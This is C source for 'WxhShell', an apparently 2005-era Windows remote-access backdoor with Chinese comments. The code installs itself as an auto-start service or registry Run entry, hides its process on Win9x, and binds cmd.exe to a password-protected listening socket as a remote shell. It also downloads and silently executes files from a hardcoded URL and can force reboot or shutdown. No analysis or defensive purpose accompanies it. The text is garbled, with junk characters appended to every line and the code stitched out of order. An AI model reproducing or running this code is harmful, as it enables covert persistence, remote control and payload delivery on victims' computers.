    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {_N9<i{T  
    if(Boot(SHUTDOWN)) &:l-;7d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]JkEf?;.  
    else { Q3WI @4  
    closesocket(wsh); BP9#}{kE  
    ExitThread(0); ?=9'?K/~a  
    } d%|l)JF*5  
    break; WnG 2\(U  
    } $.vm n,:.  
  // 获取shell ['o ueOg  
  case 's': { \'Ae,q|w  
    CmdShell(wsh); sex\dg<  
    closesocket(wsh); <-k!  
    ExitThread(0); [uU!\xe  
    break; Z$/76  
  } f(pq`v^-n  
  // 退出 3'.@aMA@  
  case 'x': { $Wj= V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T^7Cv{[  
    CloseIt(wsh); os{ iY  
    break; .yy-jf/  
    } jTR?!Mt0  
  // 离开 {|u"I@M*O  
  case 'q': { _nqnO8^IG4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _94 W@dW  
    closesocket(wsh); bq ED5;d'#  
    WSACleanup(); 5(H%Ia  
    exit(1); tQ{/9bN?P  
    break; tfU*U>j  
        } lBbb7*Ljt<  
  } ;Xt <\^e  
  } >S I'Q7k  
e>z"{ u(F0  
  // 提示信息 rk8pL[|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M<Wi:r:  
} >IIq_6Z#  
  } ,Iyc0  
/i"hViCrlG  
  return; w1G(s$;C  
} W,@ F!8  
`xzKRId0  
// shell模块句柄 _uO$=4Sd  
int CmdShell(SOCKET sock) n>}Y@{<]/  
{ ==[(Mn,%d  
STARTUPINFO si; ARu_S B  
ZeroMemory(&si,sizeof(si)); Jb"FY:/Qv+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hi09?AX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <gwRE{6U  
PROCESS_INFORMATION ProcessInfo; i]c{(gd`  
char cmdline[]="cmd"; ~3:VM_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aLh(8;$  
  return 0; U"7o;q  
} |3FI\F;^q  
LWM<[8wJ4  
// 自身启动模式 9}6_B|  
int StartFromService(void) \s#~ %l  
{ :=B.)]F.)  
typedef struct ''9]`B,:a0  
{ nDvfb* \  
  DWORD ExitStatus; pl>b 6 |  
  DWORD PebBaseAddress; 4dbX!0u1l  
  DWORD AffinityMask; 'aEK{#en  
  DWORD BasePriority; N 8[r WJ#  
  ULONG UniqueProcessId; qR.FjQOvn  
  ULONG InheritedFromUniqueProcessId; \r IOnZ.WK  
}   PROCESS_BASIC_INFORMATION; M1eh4IVE?  
"9xJ},:-  
PROCNTQSIP NtQueryInformationProcess; `e ZDG  
(/uN+   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !ldEy#"X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .h <=C&Yg  
$?F_Qsy{d  
  HANDLE             hProcess; ;[ QIHA!  
  PROCESS_BASIC_INFORMATION pbi; M<Bo<,!ua  
_t-6m2A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  z/91v#}.  
  if(NULL == hInst ) return 0;  C@*x  
"S#$:92  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YQD `4ND  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UhJS=YvT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); # fF5O2E'3  
Vb? wwx7=  
  if (!NtQueryInformationProcess) return 0; oPs asa  
j?C[ids<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eY` z\I  
  if(!hProcess) return 0; U>kaQ54/  
r4u ,I<ZbH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <q'?[aKvR  
:Jyr^0`J  
  CloseHandle(hProcess); `}t5`:#k  
2. nT k   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JVg}XwR  
if(hProcess==NULL) return 0; gIweL{Pc  
x(>XM:|  
HMODULE hMod; /QS Nv  
char procName[255]; ,8DC9yM,  
unsigned long cbNeeded; b:9"nALgC  
BT(eU*m-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ipu~T)}  
0;a10b  
  CloseHandle(hProcess); ug}u>vQ>  
Eva&FHRTY  
if(strstr(procName,"services")) return 1; // 以服务启动 NfQ QJ@*  
wy|b Hkr_  
  return 0; // 注册表启动 R{H8@JLD  
} }`Wo(E}O  
k_1;YO BF  
// 主模块 'xuxMav6m  
int StartWxhshell(LPSTR lpCmdLine) &9gI?b8  
{ *pO`sC>  
  SOCKET wsl; 9[~.{{Y  
BOOL val=TRUE; "&qAV'U  
  int port=0; yEB#*}K?  
  struct sockaddr_in door; Md9y:)P@Y  
.5SYN -@  
  if(wscfg.ws_autoins) Install(); $2]>{g  
?w'03lr%  
port=atoi(lpCmdLine); &n?RKcH}d  
>BJBM |  
if(port<=0) port=wscfg.ws_port; M!hD`5.3  
o=![+g  
  WSADATA data; <2O#!bX1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ',Z]w;D!G  
U$@}!X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {qSMJja!t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HOPl0fY$L  
  door.sin_family = AF_INET; iig4JP'h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g^:`h VV  
  door.sin_port = htons(port); @G>e Cj  
Dm?:j9o]g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b5~p:f-&4B  
closesocket(wsl); .i;?8?  
return 1;  `uDOIl  
} Nw ,|4S  
0}` -<(  
  if(listen(wsl,2) == INVALID_SOCKET) { ifl LY7j  
closesocket(wsl); mWP&N#vwh  
return 1; Y#P!<Q>}  
} Q"!GdKM  
  Wxhshell(wsl); 0e:j=kd)NH  
  WSACleanup(); J`; 9Z  
#l*w=D?  
return 0; aU.!+e%_  
$E8}||d  
} &\ad.O/Q  
 '"hSX=  
// 以NT服务方式启动 5)rN#_BKj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fo0s<YlS-  
{ 2H] 7=j  
DWORD   status = 0; 39 pA:3iTd  
  DWORD   specificError = 0xfffffff; ".pQM.T  
=|fB":vk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1'\s7P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8F$]@0v`%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BNO+-ob-  
  serviceStatus.dwWin32ExitCode     = 0; Gy6x.GX  
  serviceStatus.dwServiceSpecificExitCode = 0; 8"[{[<-   
  serviceStatus.dwCheckPoint       = 0; }Q^*Zq9-  
  serviceStatus.dwWaitHint       = 0; ^mut-@ N9  
 zDxJK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  e?o/H  
  if (hServiceStatusHandle==0) return; }dU!PZ9N)  
E2=vLI]  
status = GetLastError(); =<TJ[,h et  
  if (status!=NO_ERROR) #op0|:/N  
{ }6=)w@v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x($Djx  
    serviceStatus.dwCheckPoint       = 0; <iGW~COd  
    serviceStatus.dwWaitHint       = 0; ]0j_yX  
    serviceStatus.dwWin32ExitCode     = status; LIQ].VxIs  
    serviceStatus.dwServiceSpecificExitCode = specificError; G.v(2~QFd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k}NM]9EAE  
    return; s f->8  
  } R^ P>yk8  
GG +T-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %~gI+0HK  
  serviceStatus.dwCheckPoint       = 0; $CX3P)% `  
  serviceStatus.dwWaitHint       = 0; +mzLOJed  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kfr1k  
} kfT*G +l]  
F"O\uo:3  
// 处理NT服务事件,比如:启动、停止 Ki7t?4YE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G -+!h4p  
{ KB(W'M_D\  
switch(fdwControl) /F(n%8)Yq  
{ di0@E<@1:  
case SERVICE_CONTROL_STOP: c;fLM`{*  
  serviceStatus.dwWin32ExitCode = 0; w^$C\bCbh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "J=Cy@SSa  
  serviceStatus.dwCheckPoint   = 0; .kn2M&P>=  
  serviceStatus.dwWaitHint     = 0; WvSm!W  
  { f5FEHyj|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^2+ Vt=*  
  } LdN[N^n[H  
  return; El;"7Qn  
case SERVICE_CONTROL_PAUSE: {\P%J:s#9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T,1qR: 58  
  break; @z{SDM  
case SERVICE_CONTROL_CONTINUE: WKlyOK=}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vc&+qI+I3  
  break; a%`%("g!  
case SERVICE_CONTROL_INTERROGATE: r9'[7b1l  
  break; Zis,%XY  
}; #S'uqP!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hr6j+p:  
} ,aC}0t  
k4{|Xn  
// 标准应用程序主函数 j&'6|s{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZL\^J8PRK  
{ PQ[?zNrSV  
RO,TNS~  
// 获取操作系统版本 %HoD)OJe  
OsIsNt=GetOsVer(); j9h fW'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "8ellKh  
"g&f:[a/  
  // 从命令行安装 _#:7S sJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); PENB5+1OK  
^Z?m)qxvB  
  // 下载执行文件 jgIG";:Q  
if(wscfg.ws_downexe) { ~1wt=Ln>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0P9\;!Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); fI<LxU_n:  
} XxS#~J?:_  
RBn/7  
if(!OsIsNt) { @qp6Y_,E[  
// 如果时win9x,隐藏进程并且设置为注册表启动 Sl, DZ!  
HideProc(); xsj ,l@Ey  
StartWxhshell(lpCmdLine); ofQs /  
} N'WTIM3W  
else 8^y=YUT  
  if(StartFromService()) x-CjxU3  
  // 以服务方式启动 M=pQx$%a  
  StartServiceCtrlDispatcher(DispatchTable); A'z]?xQR  
else Kgr<OL}VJ  
  // 普通方式启动 E4892B:`  
  StartWxhshell(lpCmdLine); 1Ys=KA-!_x  
z@~H{glo  
return 0; =+MF@ 4  
} #&Tm%CvB  
DPxx9lN_rx  
!<:Cd(bM  
K $- *  
=========================================== >ceC8"}J5M  
$`3yImv+w  
>:6iFPP  
`~)?OTzU#  
Ba m.B6-  
pS+w4gW  
" `KA==;0  
m_/U  t  
#include <stdio.h> %"mI["{  
#include <string.h> ) ~=pt&+  
#include <windows.h> yM@sGz6c!  
#include <winsock2.h> q=88*Y  
#include <winsvc.h> k37?NoT  
#include <urlmon.h> U? Jk  
g@>llve{  
#pragma comment (lib, "Ws2_32.lib") #17 &rizl  
#pragma comment (lib, "urlmon.lib") kiM:(=5  
l}L81t7f  
#define MAX_USER   100 // 最大客户端连接数 m)p|NdTZc8  
#define BUF_SOCK   200 // sock buffer A)]&L`s  
#define KEY_BUFF   255 // 输入 buffer S2'ai  
Nq`;\E.M  
#define REBOOT     0   // 重启 CjpGo}a/  
#define SHUTDOWN   1   // 关机 T4.wz 58  
L'{W|Xb+  
#define DEF_PORT   5000 // 监听端口 h^=;\ng1l  
E42)93~C  
#define REG_LEN     16   // 注册表键长度 b&[".ibN1  
#define SVC_LEN     80   // NT服务名长度 b=lJ`|  
.ifz9 jM'  
// 从dll定义API vmAnBY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C7{VByxJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S~aWun  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h<%$?h+}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >(a35 b$  
p}!i_P  
// wxhshell配置信息 zz U,0 L  
struct WSCFG { %J-0%-/_S:  
  int ws_port;         // 监听端口 :%sBY0 yF  
  char ws_passstr[REG_LEN]; // 口令 -yqgs>R(d  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;"Gy5  
  char ws_regname[REG_LEN]; // 注册表键名 \"ahs7ABT  
  char ws_svcname[REG_LEN]; // 服务名 ?. ` ga*   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0}<blU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EF :g0$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =8 @DYz'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &q<k0_5Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <CuUwv 'A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ly` A,dh  
4O-LLH  
}; (5!'42  
qg#YQ'vWte  
// default Wxhshell configuration Ds(Z.  
struct WSCFG wscfg={DEF_PORT, bSw^a{~)  
    "xuhuanlingzhe", p48enH8CO  
    1, D{JjSky  
    "Wxhshell", P0}B&B/a:  
    "Wxhshell", .@)vJtH)  
            "WxhShell Service", n{TWdC  
    "Wrsky Windows CmdShell Service", PI*@.kqR-  
    "Please Input Your Password: ", , ]1f)>  
  1, x$-kw{N  
  "http://www.wrsky.com/wxhshell.exe", nBk&+SN  
  "Wxhshell.exe" ppz3"5  
    }; *90dkJZ.  
$(D>v!dp  
// 消息定义模块 q~> +x?30  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m:)&:Y0 (a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }MOXJb @  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >G|RVB  
char *msg_ws_ext="\n\rExit."; kZG=C6a  
char *msg_ws_end="\n\rQuit."; jm%s#`)g  
char *msg_ws_boot="\n\rReboot..."; 4o}{3 ! m  
char *msg_ws_poff="\n\rShutdown..."; %@C8EFl%3  
char *msg_ws_down="\n\rSave to "; -OJ<Lf+"=  
+TqrvI.  
char *msg_ws_err="\n\rErr!"; |c0^7vrC  
char *msg_ws_ok="\n\rOK!"; gamB]FPZ  
2J t{oh|  
char ExeFile[MAX_PATH]; t4UK~ {gh  
int nUser = 0; ;7s^slVzF  
HANDLE handles[MAX_USER]; \ Ki3ls  
int OsIsNt; 7_oUuNw  
S'HA]  
SERVICE_STATUS       serviceStatus; .9x* YS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &Y1h=,KR9  
<k8WnA ~Fl  
// 函数声明 e~ OrZhJ=_  
int Install(void); fUf 1G{4  
int Uninstall(void); 95IP_1}?  
int DownloadFile(char *sURL, SOCKET wsh); 1p~ORQ  
int Boot(int flag); {wM<i  
void HideProc(void); 3M?O(oO  
int GetOsVer(void); KKk~vwW  
int Wxhshell(SOCKET wsl); 7Ku&Q<mi  
void TalkWithClient(void *cs); CRCy)AS,t  
int CmdShell(SOCKET sock); Ju#j%!  
int StartFromService(void); to).PI?  
int StartWxhshell(LPSTR lpCmdLine); |e!Y C iU  
%|+aI?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Dn<3#V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bK}ZR*)  
nW]CA~  
// 数据结构和表定义 $hCS-9%&  
SERVICE_TABLE_ENTRY DispatchTable[] = +fY@q ,`  
{ KsIHJr7-  
{wscfg.ws_svcname, NTServiceMain}, 8Ckd.HKpQ  
{NULL, NULL} ]0<K^OIY  
}; xKBi".wA  
^7>~y(  
// 自我安装 bx2<WdLyT  
int Install(void) 5-0&`,  
{ 1E!.E=Y ?M  
  char svExeFile[MAX_PATH]; ~rI2 RJ  
  HKEY key; v(0ujfSR0  
  strcpy(svExeFile,ExeFile); mI<sf?.  
CB9:53zK9  
// 如果是win9x系统,修改注册表设为自启动 shdzkET8N  
if(!OsIsNt) { [bKc5qp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oMYFfnoAa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !W,LG$=/  
  RegCloseKey(key); ?A\+s,9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h3E}Sa(MQ:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #l+Rs3T:  
  RegCloseKey(key); oR`rs[Kj  
  return 0; *ze/$vz-  
    } OR+_s @Yg  
  } ?{ \7th37  
} kLF3s#k  
else { s+_8U}R  
+68age;dM  
// 如果是NT以上系统,安装为系统服务 9G6ZKqum  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z@ZI$.w  
if (schSCManager!=0) GMZ6 dK  
{ `K@N\VM  
  SC_HANDLE schService = CreateService <]z4;~/&  
  ( m4uh<;C~  
  schSCManager, 0FL'8!e<  
  wscfg.ws_svcname, .P T7  
  wscfg.ws_svcdisp, .K-d  
  SERVICE_ALL_ACCESS, !S7?:MJ?p\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EJz!#f~  
  SERVICE_AUTO_START, v; ewMiK@E  
  SERVICE_ERROR_NORMAL, !s$1C=z5u  
  svExeFile, GNwFB)?j  
  NULL, G3!O@j!7w$  
  NULL, S{ F\_'%  
  NULL, RWu< dY#ym  
  NULL, Wn=I[K&&  
  NULL ;D-k\kv  
  ); ZvXw#0)v  
  if (schService!=0) ;[Xf@xf  
  { B k\K G  
  CloseServiceHandle(schService); WC_U'nTu4  
  CloseServiceHandle(schSCManager); x6\VIP"9L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &F;bg  
  strcat(svExeFile,wscfg.ws_svcname); %@aC5^Ovy+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $%&OaAg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N48X[Q*  
  RegCloseKey(key); y fuH  
  return 0; GqP02P'2  
    } zw5Ol%JF  
  } +#UawYLJ  
  CloseServiceHandle(schSCManager); RMs8aZCa  
} I+^iOa  
} cuf]-C1_  
qM Qu!%o  
return 1; A3q#,%  
} ?caHS2%?ae  
tk 5 p@l  
// 自我卸载 l8%BRG  
int Uninstall(void) gCL}Ba  
{ t!FC)iY  
  HKEY key; D^t: R?+  
FKf2Q&2I  
if(!OsIsNt) { X}QcXc.d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0E3;f;'X  
  RegDeleteValue(key,wscfg.ws_regname); z -]ND  
  RegCloseKey(key); |w>b0aY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VS~+W=5}  
  RegDeleteValue(key,wscfg.ws_regname); ?aB%h |VA  
  RegCloseKey(key); cnY}^_  
  return 0; zqXDD; w3  
  } |1(L~g  
} p~(STHDe#  
} ( Y Z2&  
else { vMJ_n=Vf  
NQOf\.#g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qckRX+P`  
if (schSCManager!=0) k cNPdc  
{ {?mb.~(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UQb|J9HY4  
  if (schService!=0) v(uNqX.BC  
  { `Xi)';p  
  if(DeleteService(schService)!=0) { `lbRy($L  
  CloseServiceHandle(schService); LS-_GslE7\  
  CloseServiceHandle(schSCManager); KfC{/J\   
  return 0; W_ ;b e  
  } 3"Kap/[h  
  CloseServiceHandle(schService); Wrm3U/>e  
  } ;jKLB^4nX  
  CloseServiceHandle(schSCManager); ?cK67|%W  
} 9zLeyw\  
} gEgd/Le  
|*8X80<  
return 1; ,RAP_I!_x  
} ],zp~yVU&  
R3#| *)q  
// 从指定url下载文件 *~UK5Brf1  
int DownloadFile(char *sURL, SOCKET wsh) +R 8dy  
{ W=n Hi\jLV  
  HRESULT hr; ,o3`O|PiK  
char seps[]= "/"; 3CSwcD  
char *token; --vJR/-  
char *file; G2=d q  
char myURL[MAX_PATH]; =< P$mFP2*  
char myFILE[MAX_PATH]; }C JK9*Z  
aMxM3"  
strcpy(myURL,sURL); SU.$bsu  
  token=strtok(myURL,seps); HoZsDs.XZ  
  while(token!=NULL) ji5Nq+S2  
  { E8aD[j[w  
    file=token; bhW&,"$Z  
  token=strtok(NULL,seps); b>& 3 XDz  
  } Ma ]*Pled  
d @b ]/  
GetCurrentDirectory(MAX_PATH,myFILE); T4;gF6(0]  
strcat(myFILE, "\\"); 7aHP;X~0  
strcat(myFILE, file); tYhNr  
  send(wsh,myFILE,strlen(myFILE),0); Z3dI B`@  
send(wsh,"...",3,0); }~v0o# I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LiEDTXRz  
  if(hr==S_OK) 87R$Y> V  
return 0; :SN/fY  
else _u#r;h[  
return 1; jZ<f-Ff0  
\?$kpV  
} l~x 6R~q  
o"qG'\x  
// 系统电源模块 jZ,=tF  
int Boot(int flag) 75c\.=G9q<  
{ 4CxU eq  
  HANDLE hToken; 6PLdzZ{  
  TOKEN_PRIVILEGES tkp; `bNLmTS  
R`%O=S*]  
  if(OsIsNt) { xv_Z$&9e>l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~01t_Xp qc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b Kr73S9  
    tkp.PrivilegeCount = 1; pH396GFIW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X D \;|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F^cu!-L  
if(flag==REBOOT) { ]q|U0(q9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;Hu`BFXyD  
  return 0; n7bML?f'  
} t28 y=nv  
else { TcH7!fUj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hhJs$c(  
  return 0; ^:ehG9  
} &hIr@Gi@ch  
  } a=*JyZ.2  
  else { nO8e'&|  
if(flag==REBOOT) { Ne}x(uRn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .s3y^1C  
  return 0; 2Jt*s$  
} Y-]Ne"+vf  
else { b5l;bXp]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eMUt%zvb  
  return 0; E&\ 0+-Dw  
} b25C[C5C  
} (q=),3/<pU  
d-B,)$zE  
return 1; H) q_9<;  
} ]J.|XRp/  
+<sv/gEt  
// win9x进程隐藏模块 ,UW!?}@  
void HideProc(void) 4l_~-Peh  
{ (CY#B%*  
 $kY ]HI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Rrp-SR?O  
  if ( hKernel != NULL ) m@g9+7  
  { n fMU4(:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h:<?)g~U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b4>1UZGW-  
    FreeLibrary(hKernel); N"zm  
  } Di &XDW/  
Gg5+Ap D  
return; 2@|,VN V6~  
} X 3(*bj>P  
'~AR|8q?  
// 获取操作系统版本 +sx$%N  
int GetOsVer(void) /vw$3,*z  
{ Ev0=m;@_  
  OSVERSIONINFO winfo; [(Ihue  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ypx"<CKP}  
  GetVersionEx(&winfo); ;~(yv|f6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c6MMI]+8  
  return 1; ,y[8Vz?:  
  else 1krSX 2L  
  return 0; G/yYIs  
} iB5'mb*  
2X0<-Y#'  
// 客户端句柄模块 X> U _v  
int Wxhshell(SOCKET wsl) @$5= 4HA  
{ y`J8hawp  
  SOCKET wsh; TECp!`)j"  
  struct sockaddr_in client; y`8jz,&.  
  DWORD myID; P$6 Pe>3  
#F'8vf'r  
  while(nUser<MAX_USER) )Qh*@=$-  
{ 4,?WNPqo  
  int nSize=sizeof(client); Z~ u3{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QNGp+xUHJ9  
  if(wsh==INVALID_SOCKET) return 1; ) RNB;K~s9  
Dao=2JB{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [rReBgV  
if(handles[nUser]==0) ?{wD%58^oG  
  closesocket(wsh); W'R^GIHs  
else '8;'V%[+  
  nUser++; /?u]Fj  
  } ` pfRY!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yBfX4aH:`  
#hXxrN  
  return 0; _3q}K  
} I8{ mkh  
E_Fm5zb?X  
// 关闭 socket @]dv   
void CloseIt(SOCKET wsh) ,iXQ"):!OB  
{ eZ{Ce.lNR  
closesocket(wsh); gpogv -  
nUser--; +6:jm54  
ExitThread(0); u4ZOHy_O^  
} )a<MW66  
X~Hm.qIR  
// 客户端请求句柄 $.zd,}l@L  
void TalkWithClient(void *cs) ba^/Ar(B  
{ nxe9^h7m  
\f@obp  
  SOCKET wsh=(SOCKET)cs; Bv#?.0Ez;  
  char pwd[SVC_LEN]; -@.FnFa  
  char cmd[KEY_BUFF]; a&u!KAQ  
char chr[1]; ywA7hm  
int i,j; L9d|7.b  
5 hW#BB  
  while (nUser < MAX_USER) { MHJRBn{}  
*:ErZ UyQM  
if(wscfg.ws_passstr) { 6W:FT Pt44  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #Y'ewu;qJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7MsJ*E n  
  //ZeroMemory(pwd,KEY_BUFF); plpb4> S  
      i=0; `uC^"R(m  
  while(i<SVC_LEN) { t*`Sme]"B  
Z+=-)&L  
  // 设置超时 $LiBJ~vV<  
  fd_set FdRead; dVZ~n4  
  struct timeval TimeOut; T8d=@8g,%  
  FD_ZERO(&FdRead); tlB -s;  
  FD_SET(wsh,&FdRead); [~c_Aa+6N  
  TimeOut.tv_sec=8; Y^y:N$3$\  
  TimeOut.tv_usec=0; p{+F{e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q *kLi~ Oe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1L?d/j  
dx+xs&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u=Xpu,q  
  pwd=chr[0]; ?Ezy0>j  
  if(chr[0]==0xd || chr[0]==0xa) { (p] S  
  pwd=0; C_yNSD  
  break; pCC^Hxa  
  } uh% J  
  i++; sE ^YOT<  
    } r! [Qpb-:  
\:+ NVIN  
  // 如果是非法用户,关闭 socket y>7 r;e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .1z=VLKF'  
} 5.D0 1?k  
RxNLn/?d@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gtT&97tT<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W8r"dK  
T(Bcp^N  
while(1) { a <Iikx  
;Sg,$`]  
  ZeroMemory(cmd,KEY_BUFF); z, FPhbFn  
e)m6xiZ  
      // 自动支持客户端 telnet标准   T3LVn<Lm\  
  j=0; OR37  
  while(j<KEY_BUFF) { 0A-yQzL|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rhZ p  
  cmd[j]=chr[0]; C6h[L  
  if(chr[0]==0xa || chr[0]==0xd) { 'Gamb+[  
  cmd[j]=0; 53d`+an2  
  break; %UhLCyC/  
  } L,ax^]  
  j++; v#`>  
    } ydj*Jy'  
rY8(`a  
  // 下载文件 *ae)<l3v  
  if(strstr(cmd,"http://")) { f( 5; Rf(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); salDGsW^  
  if(DownloadFile(cmd,wsh)) 06Q9X!xD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qwve-[  
